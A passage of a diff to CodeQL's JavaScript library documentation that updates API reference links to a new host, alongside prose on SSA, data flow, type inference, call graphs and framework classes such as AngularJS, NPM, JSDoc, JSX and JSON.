<https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/SSA.qll/type.SSA$SsaExplicitDefinition.html>`__): these simply wrap a `VarDef <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/DefUse.qll/type.DefUse$VarDef.html>`__, that is, a definition like ``x = 1`` appearing explicitly in the source code. +#. Implicit initializations (`SsaImplicitInit <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/SSA.qll/type.SSA$SsaImplicitInit.html>`__): these represent the implicit initialization of local variables with ``undefined`` at the beginning of their scope. +#. Phi nodes (`SsaPhiNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/SSA.qll/type.SSA$SsaPhiNode.html>`__): these are pseudo-definitions that merge two or more SSA definitions where necessary; see the Wikipedia page linked to above for an explanation. +#. Variable captures (`SsaVariableCapture <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/SSA.qll/type.SSA$SsaVariableCapture.html>`__): these are pseudo-definitions appearing at places in the code where the value of a captured variable may change without there being an explicit assignment, for example due to a function call. +#. Refinement nodes (`SsaRefinementNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/SSA.qll/type.SSA$SsaRefinementNode.html>`__): these are pseudo-definitions appearing at places in the code where something becomes known about a variable; for example, a conditional ``if (x === null)`` induces a refinement node at the beginning of its "then" branch recording the fact that ``x`` is known to be ``null`` there. (In the literature, these are sometimes known as "pi nodes.") Data flow nodes ^^^^^^^^^^^^^^^ -Moving beyond just variable definitions and uses, library ``semmle.javascript.dataflow.DataFlow`` provides a representation of the program as a data flow graph. Its nodes are values of class `DataFlow::Node <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$Node.html>`__, which has two subclasses ``ValueNode`` and ``SsaDefinitionNode``. Nodes of the former kind wrap an expression or a statement that is considered to produce a value (specifically, a function or class declaration statement, or a TypeScript namespace or enum declaration). Nodes of the latter kind wrap SSA definitions. +Moving beyond just variable definitions and uses, library ``semmle.javascript.dataflow.DataFlow`` provides a representation of the program as a data flow graph. Its nodes are values of class `DataFlow::Node <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$Node.html>`__, which has two subclasses ``ValueNode`` and ``SsaDefinitionNode``. Nodes of the former kind wrap an expression or a statement that is considered to produce a value (specifically, a function or class declaration statement, or a TypeScript namespace or enum declaration). Nodes of the latter kind wrap SSA definitions. You can use the predicate ``DataFlow::valueNode`` to convert an expression, function or class into its corresponding ``ValueNode``, and similarly ``DataFlow::ssaDefinitionNode`` to map an SSA definition to its corresponding ``SsaDefinitionNode``. @@ -649,7 +649,7 @@ Note that the data flow modeling in this library is intraprocedural, that is, fl Type inference ~~~~~~~~~~~~~~ -The library ``semmle.javascript.dataflow.TypeInference`` implements a simple type inference for JavaScript based on intraprocedural, heap-insensitive flow analysis. Basically, the inference algorithm approximates the possible concrete runtime values of variables and expressions as sets of abstract values (represented by the class `AbstractValue <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/AbstractValues.qll/type.AbstractValues$AbstractValue.html>`__), each of which stands for a set of concrete values. +The library ``semmle.javascript.dataflow.TypeInference`` implements a simple type inference for JavaScript based on intraprocedural, heap-insensitive flow analysis. Basically, the inference algorithm approximates the possible concrete runtime values of variables and expressions as sets of abstract values (represented by the class `AbstractValue <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/AbstractValues.qll/type.AbstractValues$AbstractValue.html>`__), each of which stands for a set of concrete values. For example, there is an abstract value representing all non-zero numbers, and another representing all non-empty strings except for those that can be converted to a number. Both of these abstract values are fairly coarse approximations that represent very large sets of concrete values. @@ -661,9 +661,9 @@ Each indefinite abstract value is associated with a string value describing the To check whether an abstract value is indefinite, you can use the ``isIndefinite`` member predicate. Its single argument describes the cause of imprecision. -Each abstract value has one or more associated types (CodeQL class `InferredType <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/InferredTypes.qll/type.InferredTypes$InferredType.html>`__ corresponding roughly to the type tags computed by the ``typeof`` operator. The types are ``null``, ``undefined``, ``boolean``, ``number``, ``string``, ``function``, ``class``, ``date`` and ``object``. +Each abstract value has one or more associated types (CodeQL class `InferredType <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/InferredTypes.qll/type.InferredTypes$InferredType.html>`__ corresponding roughly to the type tags computed by the ``typeof`` operator. The types are ``null``, ``undefined``, ``boolean``, ``number``, ``string``, ``function``, ``class``, ``date`` and ``object``. -To access the results of the type inference, use class `DataFlow::AnalyzedNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/TypeInference.qll/type.TypeInference$AnalyzedNode.html>`__: any `DataFlow::Node <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$Node.html>`__ can be cast to this class, and additionally there is a convenience predicate ``Expr::analyze`` that maps expressions directly to their corresponding ``AnalyzedNode``\ s. +To access the results of the type inference, use class `DataFlow::AnalyzedNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/TypeInference.qll/type.TypeInference$AnalyzedNode.html>`__: any `DataFlow::Node <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/DataFlow.qll/type.DataFlow$DataFlow$Node.html>`__ can be cast to this class, and additionally there is a convenience predicate ``Expr::analyze`` that maps expressions directly to their corresponding ``AnalyzedNode``\ s. Once you have an ``AnalyzedNode``, you can use predicate ``AnalyzedNode.getAValue()`` to access the abstract values inferred for it, and ``getAType()`` to get the inferred types. @@ -688,7 +688,7 @@ Call graph The JavaScript library implements a simple `call graph <http://en.wikipedia.org/wiki/Call_graph>`__ construction algorithm to statically approximate the possible call targets of function calls and ``new`` expressions. Due to the dynamically typed nature of JavaScript and its support for higher-order functions and reflective language features, building static call graphs is quite difficult. Simple call graph algorithms tend to be incomplete, that is, they often fail to resolve all possible call targets. More sophisticated algorithms can suffer from the opposite problem of imprecision, that is, they may infer many spurious call targets. -The call graph is represented by the member predicate ``getACallee()`` of class `DataFlow::InvokeNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$InvokeNode.html>`__, which computes possible callees of the given invocation, that is, functions that may at runtime be invoked by this expression. +The call graph is represented by the member predicate ``getACallee()`` of class `DataFlow::InvokeNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/dataflow/Nodes.qll/type.Nodes$InvokeNode.html>`__, which computes possible callees of the given invocation, that is, functions that may at runtime be invoked by this expression. Furthermore, there are three member predicates that indicate the quality of the callee information for this invocation: @@ -791,9 +791,9 @@ Note that while analyses implemented in this way are inter-procedural in that th Syntax errors ~~~~~~~~~~~~~ -JavaScript code that contains syntax errors cannot usually be analyzed. For such code, the lexical and syntactic representations are not available, and hence no name binding information, call graph or control and data flow. All that is available in this case is a value of class `JSParseError <https://help.semmle.com/qldoc/javascript/semmle/javascript/Errors.qll/type.Errors$JSParseError.html>`__ representing the syntax error. It provides information about the syntax error location (`JSParseError <https://help.semmle.com/qldoc/javascript/semmle/javascript/Errors.qll/type.Errors$JSParseError.html>`__ is a subclass of `Locatable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Locations.qll/type.Locations$Locatable.html>`__) and the error message through predicate ``JSParseError.getMessage``. +JavaScript code that contains syntax errors cannot usually be analyzed. For such code, the lexical and syntactic representations are not available, and hence no name binding information, call graph or control and data flow. All that is available in this case is a value of class `JSParseError <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Errors.qll/type.Errors$JSParseError.html>`__ representing the syntax error. It provides information about the syntax error location (`JSParseError <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Errors.qll/type.Errors$JSParseError.html>`__ is a subclass of `Locatable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Locations.qll/type.Locations$Locatable.html>`__) and the error message through predicate ``JSParseError.getMessage``. -Note that for some very simple syntax errors the parser can recover and continue parsing. If this happens, lexical and syntactic information is available in addition to the `JSParseError <https://help.semmle.com/qldoc/javascript/semmle/javascript/Errors.qll/type.Errors$JSParseError.html>`__ values representing the (recoverable) syntax errors encountered during parsing. +Note that for some very simple syntax errors the parser can recover and continue parsing. If this happens, lexical and syntactic information is available in addition to the `JSParseError <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Errors.qll/type.Errors$JSParseError.html>`__ values representing the (recoverable) syntax errors encountered during parsing. Frameworks ~~~~~~~~~~ @@ -803,9 +803,9 @@ AngularJS The ``semmle.javascript.frameworks.AngularJS`` library provides support for working with `AngularJS (Angular 1.x) <https://www.angularjs.org/>`__ code. Its most important classes are: -- `AngularJS::AngularModule <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll/type.AngularJSCore$AngularModule.html>`__: an Angular module -- `AngularJS::DirectiveDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$DirectiveDefinition.html>`__, `AngularJS::FactoryRecipeDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$FactoryRecipeDefinition.html>`__, `AngularJS::FilterDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$FilterDefinition.html>`__, `AngularJS::ControllerDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$ControllerDefinition.html>`__: a definition of a directive, service, filter or controller, respectively -- `AngularJS::InjectableFunction <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/AngularJS/DependencyInjections.qll/type.DependencyInjections$InjectableFunction.html>`__: a function that is subject to dependency injection +- `AngularJS::AngularModule <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll/type.AngularJSCore$AngularModule.html>`__: an Angular module +- `AngularJS::DirectiveDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$DirectiveDefinition.html>`__, `AngularJS::FactoryRecipeDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$FactoryRecipeDefinition.html>`__, `AngularJS::FilterDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$FilterDefinition.html>`__, `AngularJS::ControllerDefinition <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/AngularJS/ServiceDefinitions.qll/type.ServiceDefinitions$ControllerDefinition.html>`__: a definition of a directive, service, filter or controller, respectively +- `AngularJS::InjectableFunction <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/AngularJS/DependencyInjections.qll/type.DependencyInjections$InjectableFunction.html>`__: a function that is subject to dependency injection HTTP framework libraries ^^^^^^^^^^^^^^^^^^^^^^^^ @@ -831,8 +831,8 @@ Node.js The ``semmle.javascript.NodeJS`` library provides support for working with `Node.js <http://nodejs.org/>`__ modules through the following classes: -- `NodeModule <https://help.semmle.com/qldoc/javascript/semmle/javascript/NodeJS.qll/type.NodeJS$NodeModule.html>`__: a top-level that defines a Node.js module; see the section on `Modules <#modules>`__ for more information. -- `Require <https://help.semmle.com/qldoc/javascript/semmle/javascript/NodeJS.qll/type.NodeJS$Require.html>`__: a call to the special ``require`` function that imports a module. +- `NodeModule <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NodeJS.qll/type.NodeJS$NodeModule.html>`__: a top-level that defines a Node.js module; see the section on `Modules <#modules>`__ for more information. +- `Require <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NodeJS.qll/type.NodeJS$Require.html>`__: a call to the special ``require`` function that imports a module. As an example of the use of these classes, here is a query that counts for every module how many other modules it imports: @@ -850,10 +850,10 @@ NPM The ``semmle.javascript.NPM`` library provides support for working with `NPM <http://npmjs.org/>`__ packages through the following classes: -- `PackageJSON <https://help.semmle.com/qldoc/javascript/semmle/javascript/NPM.qll/type.NPM$PackageJSON.html>`__: a ``package.json`` file describing an NPM package; various getter predicates are available for accessing detailed information about the package, which are described in the `online API documentation <https://help.semmle.com/qldoc/javascript/semmle/javascript/NPM.qll/module.NPM.html>`__. -- `BugTrackerInfo <https://help.semmle.com/qldoc/javascript/semmle/javascript/NPM.qll/type.NPM$BugTrackerInfo.html>`__, `ContributorInfo <https://help.semmle.com/qldoc/javascript/semmle/javascript/NPM.qll/type.NPM$ContributorInfo.html>`__, `RepositoryInfo <https://help.semmle.com/qldoc/javascript/semmle/javascript/NPM.qll/type.NPM$RepositoryInfo.html>`__: these classes model parts of the ``package.json`` file providing information on bug tracking systems, contributors and repositories. -- `PackageDependencies <https://help.semmle.com/qldoc/javascript/semmle/javascript/NPM.qll/type.NPM$PackageDependencies.html>`__: models the dependencies of an NPM package; the predicate ``PackageDependencies.getADependency(pkg, v)`` binds ``pkg`` to the name and ``v`` to the version of a package required by a ``package.json`` file. -- `NPMPackage <https://help.semmle.com/qldoc/javascript/semmle/javascript/NPM.qll/type.NPM$NPMPackage.html>`__: a subclass of `Folder <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$Folder.html>`__ that models an NPM package; important member predicates include: +- `PackageJSON <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/type.NPM$PackageJSON.html>`__: a ``package.json`` file describing an NPM package; various getter predicates are available for accessing detailed information about the package, which are described in the `online API documentation <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/module.NPM.html>`__. +- `BugTrackerInfo <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/type.NPM$BugTrackerInfo.html>`__, `ContributorInfo <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/type.NPM$ContributorInfo.html>`__, `RepositoryInfo <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/type.NPM$RepositoryInfo.html>`__: these classes model parts of the ``package.json`` file providing information on bug tracking systems, contributors and repositories. +- `PackageDependencies <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/type.NPM$PackageDependencies.html>`__: models the dependencies of an NPM package; the predicate ``PackageDependencies.getADependency(pkg, v)`` binds ``pkg`` to the name and ``v`` to the version of a package required by a ``package.json`` file. +- `NPMPackage <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/NPM.qll/type.NPM$NPMPackage.html>`__: a subclass of `Folder <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$Folder.html>`__ that models an NPM package; important member predicates include: - ``NPMPackage.getPackageName()`` returns the name of this package. - ``NPMPackage.getPackageJSON()`` returns the ``package.json`` file for this package. @@ -877,7 +877,7 @@ As an example of the use of these classes, here is a query that identifies unuse React ^^^^^ -The ``semmle.javascript.frameworks.React`` library provides support for working with `React <https://facebook.github.io/react/>`__ code through the `ReactComponent <https://help.semmle.com/qldoc/javascript/semmle/javascript/frameworks/React.qll/type.React$ReactComponent.html>`__ class, which models a React component defined either in the functional style or the class-based style (both ECMAScript 2015 classes and old-style ``React.createClass`` classes are supported). +The ``semmle.javascript.frameworks.React`` library provides support for working with `React <https://facebook.github.io/react/>`__ code through the `ReactComponent <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/frameworks/React.qll/type.React$ReactComponent.html>`__ class, which models a React component defined either in the functional style or the class-based style (both ECMAScript 2015 classes and old-style ``React.createClass`` classes are supported). Databases ^^^^^^^^^ @@ -909,22 +909,22 @@ Externs The ``semmle.javascript.Externs`` library provides support for working with `externs <https://developers.google.com/closure/compiler/docs/api-tutorial3>`__ through the following classes: -- `ExternalDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalDecl.html>`__: common superclass modeling all different kinds of externs declarations; it defines two member predicates: +- `ExternalDecl <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalDecl.html>`__: common superclass modeling all different kinds of externs declarations; it defines two member predicates: - ``ExternalDecl.getQualifiedName()`` returns the fully qualified name of the declared entity. - ``ExternalDecl.getName()`` returns the unqualified name of the declared entity. -- `ExternalTypedef <https://help.semmle.com/qldoc/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalTypedef.html>`__: a subclass of `ExternalDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalDecl.html>`__ representing type declarations; unlike other externs declarations, such declarations do not declare a function or object that is present at runtime, but simply introduce an alias for a type. -- `ExternalVarDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalVarDecl.html>`__: a subclass of `ExternalDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalDecl.html>`__ representing a variable or function declaration; it defines two member predicates: +- `ExternalTypedef <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalTypedef.html>`__: a subclass of `ExternalDecl <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalDecl.html>`__ representing type declarations; unlike other externs declarations, such declarations do not declare a function or object that is present at runtime, but simply introduce an alias for a type. +- `ExternalVarDecl <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalVarDecl.html>`__: a subclass of `ExternalDecl <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalDecl.html>`__ representing a variable or function declaration; it defines two member predicates: - - ``ExternalVarDecl.getInit()`` returns the initializer associated with this declaration, if any; this can either be a `Function <https://help.semmle.com/qldoc/javascript/semmle/javascript/Functions.qll/type.Functions$Function.html>`__ or an `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__. + - ``ExternalVarDecl.getInit()`` returns the initializer associated with this declaration, if any; this can either be a `Function <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Functions.qll/type.Functions$Function.html>`__ or an `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__. - ``ExternalVarDecl.getDocumentation()`` returns the JSDoc comment associated with this declaration. -Variables and functions declared in an externs file are either globals (represented by class `ExternalGlobalDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalGlobalDecl.html>`__), or members (represented by class `ExternalMemberDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalMemberDecl.html>`__). +Variables and functions declared in an externs file are either globals (represented by class `ExternalGlobalDecl <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalGlobalDecl.html>`__), or members (represented by class `ExternalMemberDecl <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalMemberDecl.html>`__). -Members are further subdivided into static members (class `ExternalStaticMemberDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalStaticMemberDecl.html>`__) and instance members (class `ExternalInstanceMemberDecl <https://help.semmle.com/qldoc/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalInstanceMemberDecl.html>`__). +Members are further subdivided into static members (class `ExternalStaticMemberDecl <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalStaticMemberDecl.html>`__) and instance members (class `ExternalInstanceMemberDecl <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Externs.qll/type.Externs$ExternalInstanceMemberDecl.html>`__). -For more details on these and other classes representing externs, see `the API documentation <https://help.semmle.com/qldoc/javascript/semmle/javascript/Externs.qll/module.Externs.html>`__. +For more details on these and other classes representing externs, see `the API documentation <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Externs.qll/module.Externs.html>`__. HTML ^^^^ @@ -942,17 +942,17 @@ JSDoc The ``semmle.javascript.JSDoc`` library provides support for working with `JSDoc comments <http://usejsdoc.org/>`__. Documentation comments are parsed into an abstract syntax tree representation closely following the format employed by the `Doctrine <https://github.com/Constellation/doctrine>`__ JSDoc parser. -A JSDoc comment as a whole is represented by an entity of class `JSDoc <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDoc.html>`__, while individual tags are represented by class `JSDocTag <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDocTag.html>`__. Important member predicates of these two classes include: +A JSDoc comment as a whole is represented by an entity of class `JSDoc <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDoc.html>`__, while individual tags are represented by class `JSDocTag <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDocTag.html>`__. Important member predicates of these two classes include: - ``JSDoc.getDescription()`` returns the descriptive header of the JSDoc comment, if any. -- ``JSDoc.getComment()`` maps the `JSDoc <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDoc.html>`__ entity to its underlying `Comment <https://help.semmle.com/qldoc/javascript/semmle/javascript/Comments.qll/type.Comments$Comment.html>`__ entity. +- ``JSDoc.getComment()`` maps the `JSDoc <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDoc.html>`__ entity to its underlying `Comment <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Comments.qll/type.Comments$Comment.html>`__ entity. - ``JSDocTag.getATag()`` returns a tag in this JSDoc comment. - ``JSDocTag.getTitle()`` returns the title of his tag; for instance, an ``@param`` tag has title ``"param"``. - ``JSDocTag.getName()`` returns the name of the parameter or variable documented by this tag. - ``JSDocTag.getType()`` returns the type of the parameter or variable documented by this tag. - ``JSDocTag.getDescription()`` returns the description associated with this tag. -Types in JSDoc comments are represented by the class `JSDocTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDocTypeExpr.html>`__ and its subclasses, which again represent type expressions as abstract syntax trees. Examples of type expressions are `JSDocAnyTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDocAnyTypeExpr.html>`__, representing the "any" type ``*``, or `JSDocNullTypeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDocNullTypeExpr.html>`__, representing the null type. +Types in JSDoc comments are represented by the class `JSDocTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDocTypeExpr.html>`__ and its subclasses, which again represent type expressions as abstract syntax trees. Examples of type expressions are `JSDocAnyTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDocAnyTypeExpr.html>`__, representing the "any" type ``*``, or `JSDocNullTypeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSDoc.qll/type.JSDoc$JSDocNullTypeExpr.html>`__, representing the null type. As an example, here is a query that finds ``@param`` tags that do not specify the name of the documented parameter: @@ -967,66 +967,66 @@ As an example, here is a query that finds ``@param`` tags that do not specify th ➤ `See this in the query console on LGTM.com <https://lgtm.com/query/673060054/>`__. Of the LGTM.com demo projects analyzed, only *Semantic-Org/Semantic-UI* has an example where the ``@param`` tag omits the name. -For full details on these and other classes representing JSDoc comments and type expressions, see `the API documentation <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSDoc.qll/module.JSDoc.html>`__. +For full details on these and other classes representing JSDoc comments and type expressions, see `the API documentation <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSDoc.qll/module.JSDoc.html>`__. JSX ^^^ The ``semmle.javascript.JSX`` library provides support for working with `JSX code <https://facebook.github.io/react/docs/jsx-in-depth.html>`__. -Similar to the representation of HTML documents, JSX fragments are modeled as a tree of `JSXElement <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSX.qll/type.JSX$JSXElement.html>`__\ s, each of which may have zero or more `JSXAttribute <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSX.qll/type.JSX$JSXAttribute.html>`__\ s. +Similar to the representation of HTML documents, JSX fragments are modeled as a tree of `JSXElement <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSX.qll/type.JSX$JSXElement.html>`__\ s, each of which may have zero or more `JSXAttribute <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSX.qll/type.JSX$JSXAttribute.html>`__\ s. -However, unlike HTML, JSX is interleaved with JavaScript, hence `JSXElement <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSX.qll/type.JSX$JSXElement.html>`__ is a subclass of `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__. Like ``HTML::Element``, it has predicates ``getAttribute(i)`` and ``getAttributeByName(n)`` to look up attributes of a JSX element. Its body elements can be accessed by predicate ``getABodyElement()``; note that the results of this predicate are arbitrary expressions, which may either be further `JSXElement <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSX.qll/type.JSX$JSXElement.html>`__\ s, or other expressions that are interpolated into the body of the outer element. +However, unlike HTML, JSX is interleaved with JavaScript, hence `JSXElement <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSX.qll/type.JSX$JSXElement.html>`__ is a subclass of `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__. Like ``HTML::Element``, it has predicates ``getAttribute(i)`` and ``getAttributeByName(n)`` to look up attributes of a JSX element. Its body elements can be accessed by predicate ``getABodyElement()``; note that the results of this predicate are arbitrary expressions, which may either be further `JSXElement <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSX.qll/type.JSX$JSXElement.html>`__\ s, or other expressions that are interpolated into the body of the outer element. -`JSXAttribute <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSX.qll/type.JSX$JSXAttribute.html>`__, again not unlike ``HTML::Attribute``, has predicates ``getName()`` and ``getValue()`` to access the attribute name and value. +`JSXAttribute <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSX.qll/type.JSX$JSXAttribute.html>`__, again not unlike ``HTML::Attribute``, has predicates ``getName()`` and ``getValue()`` to access the attribute name and value. JSON ^^^^ The ``semmle.javascript.JSON`` library provides support for working with `JSON <http://json.org/>`__ files that were processed by the JavaScript extractor when building the CodeQL database. -JSON files are modeled as trees of JSON values. Each JSON value is represented by an entity of class `JSONValue <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSON.qll/type.JSON$JSONValue.html>`__, which provides the following member predicates: +JSON files are modeled as trees of JSON values. Each JSON value is represented by an entity of class `JSONValue <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSON.qll/type.JSON$JSONValue.html>`__, which provides the following member predicates: - ``JSONValue.getParent()`` returns the JSON object or array in which this value occurs. - ``JSONValue.getChild(i)`` returns the ``i``\ th child of this JSON object or array. -Note that `JSONValue <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSON.qll/type.JSON$JSONValue.html>`__ is a subclass of `Locatable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Locations.qll/type.Locations$Locatable.html>`__, so the usual member predicates of `Locatable <https://help.semmle.com/qldoc/javascript/semmle/javascript/Locations.qll/type.Locations$Locatable.html>`__ can be used to determine the file in which a JSON value appears, and its location within that file. +Note that `JSONValue <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSON.qll/type.JSON$JSONValue.html>`__ is a subclass of `Locatable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Locations.qll/type.Locations$Locatable.html>`__, so the usual member predicates of `Locatable <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Locations.qll/type.Locations$Locatable.html>`__ can be used to determine the file in which a JSON value appears, and its location within that file. -Class `JSONValue <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSON.qll/type.JSON$JSONValue.html>`__ has the following subclasses: +Class `JSONValue <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSON.qll/type.JSON$JSONValue.html>`__ has the following subclasses: -- `JSONPrimitiveValue <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSON.qll/type.JSON$JSONPrimitiveValue.html>`__: a JSON-encoded primitive value; use ``JSONPrimitiveValue.getValue()`` to obtain a string representation of the value. +- `JSONPrimitiveValue <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/JSON.qll/type.JSON$JSONPrimitiveValue.html>`__: a JSON-encoded primitive value; use ``JSONPrimitiveValue.getValue()`` to obtain a string representation of the value. - - `JSONNull <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSON.qll/type.JSON$JSONNull.html>`__, `JSONBoolean <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSON.qll/type.JSON$JSONBoolean.html>`__, `JSONNumber <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSON.qll/type.JSON$JSONNumber.html>`__, `JSONString <https://help.semmle.com/qldoc/javascript/semmle/javascript/JSON.qll/type.JSON$JSONString.html>`__: subclasses of `JSONPrimitiveValue 